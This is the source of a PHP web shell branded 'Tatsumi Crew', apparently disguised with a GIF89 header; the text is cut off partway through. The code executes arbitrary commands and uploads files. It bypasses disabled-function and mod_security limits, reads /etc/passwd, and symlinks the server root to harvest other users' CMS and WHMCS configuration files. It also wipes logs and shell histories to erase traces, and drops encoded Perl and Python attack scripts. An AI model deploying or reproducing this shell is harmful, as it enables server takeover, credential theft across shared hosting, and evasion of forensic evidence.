GIF89; Tatsumi Crew

  _____     _                       _ 
 |_   _|_ _| |_ ___ _   _ _ __ ___ (_)
   | |/ _` | __/ __| | | | '_ ` _ \| |
   | | (_| | |_\__ \ |_| | | | | | | |
   |_|\__,_|\__|___/\__,_|_| |_| |_|_|
                                      
	
Tatsumi Crew ".$perm.""; } else { return "".$perm.""; } } function exe($cmd) { if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('exec')) { @exec($cmd,$results); $buff = ""; foreach($results as $result) { $buff .= $result; } return $buff; } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('shell_exec')) { $buff = @shell_exec($cmd); return $buff; } } function sulap($text) { if(!get_magic_quotes_gpc()) { return $text; } return stripslashes($text); } function GrabUrl($url,$type){ $urlArray = array(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); $regex='|".$disablefunc.""; } else { return "NONE"; } } function ambilKata($param, $kata1, $kata2){ if(strpos($param, $kata1) === FALSE) return FALSE; if(strpos($param, $kata2) === FALSE) return FALSE; $start = strpos($param, $kata1) + strlen($kata1); $end = strpos($param, $kata2, $start); $return = substr($param, $start, $end - $start); return $return; } function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } $_c7e = 'WGFpIFN5bmRpY2F0ZQ=='; $sys = php_uname(); $ip = gethostbyname($_SERVER['HTTP_HOST']); $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? 'ON' : 'OFF'; $getds = @ini_get("disable_functions"); $ds = showdisablefunctions().' on '.php_sapi_name().''; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\\','/',$path); $paths = explode('/',$path); $home_r = $_SERVER['DOCUMENT_ROOT']; if(get_magic_quotes_gpc()){ foreach($_POST as $key=>$value){ $_POST[$key] = stripslashes($value); } } if($_POST['upload']) { if($_POST['tipe_upload'] == 'biasa') { if(@copy($_FILES['ix_file']['tmp_name'], "$path/".$_FILES['ix_file']['name']."")) { $act = "Uploaded! at $path/".$_FILES['ix_file']['name'].""; } else { $act = "Failed to upload file"; } } else { $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name']; $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name']; if(is_writable($_SERVER['DOCUMENT_ROOT'])) { if(@copy($_FILES['ix_file']['tmp_name'], $root)) { $act = "Uploaded! at $root -> $web"; } else { $act = "Failed to upload file"; } } else { $act = "Failed to upload file"; } } } echo '
System : '.$sys.'
IP : '.$ip.'
Safe Mode : '.$sm.'
Disabled Functions : '.$ds.'
'; foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '/'; continue; } if($pat == '') continue; echo ''.$pat.'/'; } echo "
Biasa [ ".w($path,"Writeable")." ] home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]

"; echo $act; echo"
Cgi Telnet Config V1 Mass User Changer Back Connect Tools Symlink Tools Bypass Tools Log-Out
"; echo ''; echo ''; if($_GET['jancok'] == 'logout') { echo '
'; unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); echo 'Good Bye!!'; } elseif($_GET['tatsumi'] == 'domains'){echo "

Domains and Users

";$d0mains = @file("/etc/named.conf");if(!$d0mains){die("
Error : can't read [ /etc/named.conf ]
");}echo '';foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo "";flush();}}}echo''; }elseif($_GET['tatsumi'] == 'info') { } elseif($_GET['delete'] == 'logs') { echo '
Delete Logs ( For Safe )

'; echo "
Domainsusers
".$domains[1][0]."".$user['name']."
"; exec("rm -rf /tmp/logs"); exec("rm -rf /root/.ksh_history"); exec("rm -rf /root/.bash_history"); exec("rm -rf /root/.bash_logout"); exec("rm -rf /usr/local/apache/logs"); exec("rm -rf /usr/local/apache/log"); exec("rm -rf /var/apache/logs"); exec("rm -rf /var/apache/log"); exec("rm -rf /var/run/utmp"); exec("rm -rf /var/logs"); exec("rm -rf /var/log"); exec("rm -rf /var/adm"); exec("rm -rf /etc/wtmp"); exec("rm -rf /etc/utmp"); exec("rm -rf $HISTFILE"); exec("rm -rf /var/log/lastlog"); exec("rm -rf /var/log/wtmp"); shell_exec("rm -rf /tmp/logs"); shell_exec("rm -rf /root/.ksh_history"); shell_exec("rm -rf /root/.bash_history"); shell_exec("rm -rf /root/.bash_logout"); shell_exec("rm -rf /usr/local/apache/logs"); shell_exec("rm -rf /usr/local/apache/log"); shell_exec("rm -rf /var/apache/logs"); shell_exec("rm -rf /var/apache/log"); shell_exec("rm -rf /var/run/utmp"); shell_exec("rm -rf /var/logs"); shell_exec("rm -rf /var/log"); shell_exec("rm -rf /var/adm"); shell_exec("rm -rf /etc/wtmp"); shell_exec("rm -rf /etc/utmp"); shell_exec("rm -rf $HISTFILE"); shell_exec("rm -rf /var/log/lastlog"); shell_exec("rm -rf /var/log/wtmp"); passthru("rm -rf /tmp/logs"); passthru("rm -rf /root/.ksh_history"); passthru("rm -rf /root/.bash_history"); passthru("rm -rf /root/.bash_logout"); passthru("rm -rf /usr/local/apache/logs"); passthru("rm -rf /usr/local/apache/log"); passthru("rm -rf /var/apache/logs"); passthru("rm -rf /var/apache/log"); passthru("rm -rf /var/run/utmp"); passthru("rm -rf /var/logs"); passthru("rm -rf /var/log"); passthru("rm -rf /var/adm"); passthru("rm -rf /etc/wtmp"); passthru("rm -rf /etc/utmp"); passthru("rm -rf $HISTFILE"); passthru("rm -rf /var/log/lastlog"); passthru("rm -rf /var/log/wtmp"); system("rm -rf /tmp/logs"); sleep(2); echo'
Deleting .../tmp/logs '; sleep(2); system("rm -rf /root/.bash_history"); sleep(2); echo'

Deleting .../root/.bash_history

'; system("rm -rf /root/.ksh_history"); sleep(2); echo'

Deleting .../root/.ksh_history

'; system("rm -rf /root/.bash_logout"); sleep(2); echo'

Deleting .../root/.bash_logout

'; system("rm -rf /usr/local/apache/logs"); sleep(2); echo'

Deleting .../usr/local/apache/logs

'; system("rm -rf /usr/local/apache/log"); sleep(2); echo'

Deleting .../usr/local/apache/log

'; system("rm -rf /var/apache/logs"); sleep(2); echo'

Deleting .../var/apache/logs

'; system("rm -rf /var/apache/log"); sleep(2); echo'

Deleting .../var/apache/log

'; system("rm -rf /var/run/utmp"); sleep(2); echo'

Deleting .../var/run/utmp

'; system("rm -rf /var/logs"); sleep(2); echo'

Deleting .../var/logs

'; system("rm -rf /var/log"); sleep(2); echo'

Deleting .../var/log

'; system("rm -rf /var/adm"); sleep(2); echo'

Deleting .../var/adm

'; system("rm -rf /etc/wtmp"); sleep(2); echo'

Deleting .../etc/wtmp

'; system("rm -rf /etc/utmp"); sleep(2); echo'

Deleting .../etc/utmp

'; system("rm -rf $HISTFILE"); sleep(2); echo'

Deleting ...$HISTFILE

'; system("rm -rf /var/log/lastlog"); sleep(2); echo'

Deleting .../var/log/lastlog

'; system("rm -rf /var/log/wtmp"); sleep(2); echo'

Deleting .../var/log/wtmp

'; sleep(4); echo '

Your Traces Has Been Successfully Deleting ...From the Server'; echo"

"; } elseif($_GET['bypass'] == 'vhosts') { echo ""; echo ""; echo "

Bypass Symlink vHost

"; echo "
"; if (isset($_POST['Colii'])){ mkdir('symvhosts', 0755); chdir('symvhosts'); system('ln -s / tatsumi.txt'); $fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw'; $file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($fvckem)); $Bok3p = symlink("/","tatsumi.txt"); $rt="
Bypassed Successfully"; echo "

Done.. !

Check link given below for / folder symlink
$rt
Note: Apabila Forbidden pas buka /var/www/vhosts/Domain.com/ harap tambahkan httpdocs ex:/var/www/vhosts/Domain.com/httpdocs/
";} echo ""; } elseif($_GET['jancok'] == 'cgi') { $cgi_dir = mkdir('tatsumi_cgi', 0755); chdir('tatsumi_cgi'); $file_cgi = "cgi.tatsumi"; $memeg = ".htaccess"; $isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .tatsumi \n AddHandler cgi-script .tatsumi \n AddHandler cgi-script .tatsumi"; $htcgi = fopen(".htaccess", "w"); $cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS4zIjsN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J0DQp7DQoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOw0KCXByaW50ICZCYWNrQmluZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7"; $cgi = fopen($file_cgi, "w"); fwrite($cgi, base64_decode($cgi_script)); fwrite($htcgi, $isi_htcgi); chmod($file_cgi, 0755); chmod($memeg, 0755); echo "
Done ... Klik Here"; }elseif($_GET['symlink'] == 'python') { $sym_dir = mkdir('tatsumi_sympy', 0755); chdir('tatsumi_sympy'); $file_sym = "sym.py"; $sym_script = "Iy8qUHl0aG9uDQoNCmltcG9ydCB0aW1lDQppbXBvcnQgb3MNCmltcG9ydCBzeXMNCmltcG9ydCByZQ0KDQpvcy5ze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ZD4iJShjb3VudGVyLGZ1c3IsZnVzcixwYXRoLGZzaXRlKSkNCgkJCWNvdW50ZXI9Y291bnRlcisx"; $sym = fopen($file_sym, "w"); fwrite($sym, base64_decode($sym_script)); chmod($file_sym, 0755); $jancok = exe("python sym.py"); echo ""; echo "
Done ... Klik Here"; } elseif($_GET['bypass'] == 'disablefunc'){ echo ""; echo "

"; echo "
  
"; if(isset($_POST['ini'])) { $file = fopen("php.ini","w"); echo fwrite($file,"disable_functions=none safe_mode = Off "); fclose($file); echo "click here!"; } if(isset($_POST['htce'])) { $file = fopen(".htaccess","w"); echo fwrite($file," SecFilterEngine Off SecFilterScanPOST Off "); fclose($file); echo "htaccess successfully created!"; } if(isset($_POST['litini'])){ $iniph = ''; $byph = "safe_mode = Off n disable_functions= "; $comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4="; file_put_contents("php.ini",base64_decode($byph)); file_put_contents("ini.php",base64_decode($iniph)); file_put_contents(".htaccess",base64_decode($comp)); echo ""; echo"
"; } }elseif($_GET['bypass'] == 'tool'){ echo ""; } elseif($_GET['symlink'] == 'tool'){ echo ""; } elseif ($_GET['symlink'] == '404'){ @error_reporting(0); @ini_set('display_errors', 0); echo ""; echo '
Coded By Arvan Apriyana

File Target :

Save As:

'; if($_POST['ojaykan']){ rmdir("tatsumi_symlink404");mkdir("tatsumi_symlink404", 0777); $dir = $_POST['dir']; $jnck = $_POST['jnck']; system("ln -s ".$dir." tatsumi_symlink404/".$jnck); symlink($dir,"tatsumi_symlink404/".$jnck); $inija = fopen("tatsumi_symlink404/.htaccess", "w"); fwrite($inija,"ReadmeName ".$jnck." Options Indexes FollowSymLinks DirectoryIndex ngeue.htm AddType text/plain .php AddHandler text/plain .php Satisfy Any "); echo'Klik Gan >:('; } }elseif($_GET['bypass'] == 'passwd') { echo ''; echo '

Bypass etc/passw With:
Bypass User With :

'; if ($_POST['awkuser']) { echo"
"; } if ($_POST['systuser']) { echo"
"; } if ($_POST['passthuser']) { echo"
"; } if ($_POST['exuser']) { echo"
"; } if ($_POST['shexuser']) { echo"
"; } if($_POST['syst']) { echo"


"; } if($_POST['passth']) { echo"


"; } if($_POST['ex']) { echo"


"; } if($_POST['shex']) { echo"


"; } echo '
'; if($_POST['melex']) { echo"

"; } } elseif($_GET['kill'] == 'self') { if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('

Shell removed


Goodbye , Thanks for take my shell today
'); else echo '
unlink failed!
'; } elseif($_GET['symlink'] == 'server') { $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $path); $d0mains = @file("/etc/named.conf"); ##httaces if($d0mains){ @mkdir("tatsumi_sym",0777); @chdir("tatsumi_sym"); @exe("ln -s / root"); $file3 = 'Options Indexes FollowSymLinks DirectoryIndex tatsumi.htm AddType text/plain .php AddHandler text/plain .php Satisfy Any'; $fp3 = fopen('.htaccess','w'); $fw3 = fwrite($fp3,$file3);@fclose($fp3); echo ""; echo "
"; $dcount = 1; foreach($d0mains as $d0main){ if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains); flush(); if(strlen(trim($domains[1][0])) > 2){ $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0])); echo ""; flush(); $dcount++;}}} echo "
S. No. Domains Users Symlink
" . $dcount . " ".$domains[1][0]." ".$user['name']." Symlink
"; }else{ $TEST=@file('/etc/passwd'); if ($TEST){ @mkdir("tatsumi_sym",0777); @chdir("tatsumi_sym"); exe("ln -s / root"); $file3 = 'Options Indexes FollowSymLinks DirectoryIndex tatsumi.htm AddType text/plain .php AddHandler text/plain .php Satisfy Any'; $fp3 = fopen('.htaccess','w'); $fw3 = fwrite($fp3,$file3); @fclose($fp3); echo " "; $dcount = 1; $file = fopen("/etc/passwd", "r") or exit("Unable to open file!"); while(!feof($file)){ $s = fgets($file); $matches = array(); $t = preg_match('/\/(.*?)\:\//s', $s, $matches); $matches = str_replace("home/","",$matches[1]); if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue; echo ""; echo ""; $dcount++;}fclose($file); echo "
S. No. Users Symlink
" . $dcount . " " . $matches . "Symlink
";}else{if($os != "Windows"){@mkdir("tatsumi_sym",0777);@chdir("tatsumi_sym");@exe("ln -s / root");$file3 = ' Options Indexes FollowSymLinks DirectoryIndex tatsumi.htm AddType text/plain .php AddHandler text/plain .php Satisfy Any '; $fp3 = fopen('.htaccess','w'); $fw3 = fwrite($fp3,$file3);@fclose($fp3); echo "

server symlinker

"; $temp = "";$val1 = 0;$val2 = 1000; for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1); if ($uid)$temp .= join(':',$uid)."\n";} echo '
';$temp = trim($temp);$file5 = fopen("test.txt","w"); fputs($file5,$temp); fclose($file5);$dcount = 1;$file = fopen("test.txt", "r") or exit("Unable to open file!"); while(!feof($file)){$s = fgets($file);$matches = array(); $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]); if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") continue; echo ""; echo ""; $dcount++;} fclose($file); echo "
ID Users Symlink
" . $dcount . " " . $matches . "Symlink
";unlink("test.txt"); } else echo "
Cannot create Symlink
"; } } } elseif($_GET['config'] == 'grabber') { if(strtolower(substr(PHP_OS, 0, 3)) == "win"){ echo ''; exit; } if($_POST){ if($_POST['config'] == 'symvhosts') { @mkdir("tatsumi_symvhosts", 0777); exe("ln -s / tatsumi_symvhosts/root"); $htaccess="Options Indexes FollowSymLinks DirectoryIndex tatsumi.htm AddType text/plain .php AddHandler text/plain .php Satisfy Any"; @file_put_contents("tatsumi_symvhosts/.htaccess",$htaccess); $etc_passwd=$_POST['passwd']; $etc_passwd=explode("\n",$etc_passwd); foreach($etc_passwd as $passwd){ $pawd=explode(":",$passwd); $user =$pawd[5]; $jembod = preg_replace('/\/var\/www\/vhosts\//', '', $user); if (preg_match('/vhosts/i',$user)){ exe("ln -s ".$user."/httpdocs/wp-config.php tatsumi_symvhosts/".$jembod."-Wordpress.txt"); exe("ln -s ".$user."/httpdocs/configuration.php tatsumi_symvhosts/".$jembod."-Joomla.txt"); exe("ln -s ".$user."/httpdocs/config/koneksi.php tatsumi_symvhosts/".$jembod."-Lokomedia.txt"); exe("ln -s ".$user."/httpdocs/forum/config.php tatsumi_symvhosts/".$jembod."-phpBB.txt"); exe("ln -s ".$user."/httpdocs/sites/default/settings.php tatsumi_symvhosts/".$jembod."-Drupal.txt"); exe("ln -s ".$user."/httpdocs/config/settings.inc.php tatsumi_symvhosts/".$jembod."-PrestaShop.txt"); exe("ln -s ".$user."/httpdocs/app/etc/local.xml tatsumi_symvhosts/".$jembod."-Magento.txt"); exe("ln -s ".$user."/httpdocs/admin/config.php tatsumi_symvhosts/".$jembod."-OpenCart.txt"); exe("ln -s ".$user."/httpdocs/application/config/database.php tatsumi_symvhosts/".$jembod."-Ellislab.txt"); }}} if($_POST['config'] == 'symlink') { @mkdir("tatsumi_symconfig", 0777); @symlink("/","tatsumi_symconfig/root"); $htaccess="Options Indexes FollowSymLinks DirectoryIndex tatsumi.htm AddType text/plain .php AddHandler text/plain .php Satisfy Any"; @file_put_contents("tatsumi_symconfig/.htaccess",$htaccess);} if($_POST['config'] == '404') { @mkdir("tatsumi_sym404", 0777); @symlink("/","tatsumi_sym404/root"); $htaccess="Options Indexes FollowSymLinks DirectoryIndex tatsumi.htm AddType text/plain .php AddHandler text/plain .php Satisfy Any IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=* IndexIgnore *.txt404 RewriteEngine On RewriteCond %{REQUEST_FILENAME} ^.*tatsumi_sym404 [NC] RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]"; @file_put_contents("tatsumi_sym404/.htaccess",$htaccess); } if($_POST['config'] == 'grab') { mkdir("tatsumi_configgrab", 0777); $isi_htc = "Options all\nRequire None\nSatisfy Any"; $htc = fopen("tatsumi_configgrab/.htaccess","w"); fwrite($htc, $isi_htc); } $passwd = $_POST['passwd']; preg_match_all('/(.*?):x:/', $passwd, $user_config); foreach($user_config[1] as $user_tatsumi) { $grab_config = array( "/home/$user_tatsumi/.accesshash" => "WHM-accesshash", "/home/$user_tatsumi/public_html/config/koneksi.php" => "Lokomedia", "/home/$user_tatsumi/public_html/forum/config.php" => "phpBB", "/home/$user_tatsumi/public_html/sites/default/settings.php" => "Drupal", "/home/$user_tatsumi/public_html/config/settings.inc.php" => "PrestaShop", "/home/$user_tatsumi/public_html/app/etc/local.xml" => "Magento", "/home/$user_tatsumi/public_html/admin/config.php" => "OpenCart", "/home/$user_tatsumi/public_html/application/config/database.php" => "Ellislab", "/home/$user_tatsumi/public_html/vb/includes/config.php" => "Vbulletin", "/home/$user_tatsumi/public_html/includes/config.php" => "Vbulletin", "/home/$user_tatsumi/public_html/forum/includes/config.php" => "Vbulletin", "/home/$user_tatsumi/public_html/forums/includes/config.php" => "Vbulletin", "/home/$user_tatsumi/public_html/cc/includes/config.php" => "Vbulletin", "/home/$user_tatsumi/public_html/inc/config.php" => "MyBB", "/home/$user_tatsumi/public_html/includes/configure.php" => "OsCommerce", "/home/$user_tatsumi/public_html/shop/includes/configure.php" => "OsCommerce", "/home/$user_tatsumi/public_html/os/includes/configure.php" => "OsCommerce", "/home/$user_tatsumi/public_html/oscom/includes/configure.php" => "OsCommerce", "/home/$user_tatsumi/public_html/products/includes/configure.php" => "OsCommerce", "/home/$user_tatsumi/public_html/cart/includes/configure.php" => "OsCommerce", "/home/$user_tatsumi/public_html/inc/conf_global.php" => "IPB", "/home/$user_tatsumi/public_html/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/wp/test/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/blog/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/beta/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/portal/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/site/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/wp/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/WP/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/news/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/wordpress/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/test/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/demo/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/home/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/v1/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/v2/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/press/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/new/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/blogs/wp-config.php" => "Wordpress", "/home/$user_tatsumi/public_html/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/blog/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/submitticket.php" => "^WHMCS", "/home/$user_tatsumi/public_html/cms/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/beta/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/portal/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/site/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/main/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/home/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/demo/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/test/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/v1/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/v2/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/joomla/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/new/configuration.php" => "Joomla", "/home/$user_tatsumi/public_html/WHMCS/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/whmcs1/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Whmcs/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/whmcs/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/whmcs/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/WHMC/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Whmc/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/whmc/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/WHM/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Whm/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/whm/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/HOST/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Host/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/host/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/SUPPORTES/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Supportes/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/supportes/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/domains/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/domain/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Hosting/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/HOSTING/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/hosting/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/CART/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Cart/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/cart/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/ORDER/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Order/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/order/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/CLIENT/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Client/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/client/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/CLIENTAREA/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Clientarea/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/clientarea/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/SUPPORT/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Support/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/support/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/BILLING/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Billing/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/billing/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/BUY/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Buy/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/buy/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/MANAGE/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Manage/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/manage/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/ClientSupport/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Clientsupport/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/clientsupport/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/CHECKOUT/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Checkout/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/checkout/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/BILLINGS/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Billings/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/billings/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/BASKET/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Basket/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/basket/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/SECURE/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Secure/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/secure/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/SALES/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Sales/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/sales/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/BILL/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/Bill/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/bill/submitticket.php" => "WHMCS", "/home/$user_tatsumi/public_html/PURCHASE/submitticket.php" => "WHMCS", 